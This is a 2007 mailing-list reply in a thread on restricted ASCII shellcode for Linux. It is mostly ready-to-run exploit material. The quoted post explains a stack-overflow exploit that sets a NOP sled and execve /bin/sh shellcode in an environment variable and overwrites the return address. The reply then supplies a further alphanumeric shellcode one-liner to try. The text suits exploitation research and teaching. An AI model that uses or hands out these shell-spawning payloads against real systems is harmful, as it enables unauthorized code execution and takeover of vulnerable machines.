Re: Re: Linux restricted ASCII Shellcode

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi. Here you have 1 ascii shellcode more, try it:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLX3EX1EX1eX3eXjEX4EPh8eshXf5VJPheebiXf5JJPTYjYX4YPQTPUX3HX1HX1XX3XXZYJf1UVBj8X0EW432G"'`

It is very old, but you can test if it works.


- ---------------------------
RaiSe - eNYe Sec
http://www.enye-sec.org
- ---------------------------


On Thu, 19 Apr 2007, nonexistant@xxxxxxxxxx wrote:

I'm exploiting the stack overflow inserting the shellcode in a environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`

And then overwriting de RET address to point somewhere in the NOP section of "SHELLCODE". Pretty simple.
That works perfectly.

But if I try with this environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0LohfhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBabivERSvT29"'`

This do not work. I have tryed with many different ASCII shellcodes all of them ripped from examples in C style.
What I'm doing wrong?
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iD8DBQFGLLDxz75ZMb4GaLYRAtYEAJ9Vg20VEnPy3WNQlU7vF8UyzJlZWACgg8oz
B0GqslmPdBJ6hhKtNns3JaQ=
=uXSr
-----END PGP SIGNATURE-----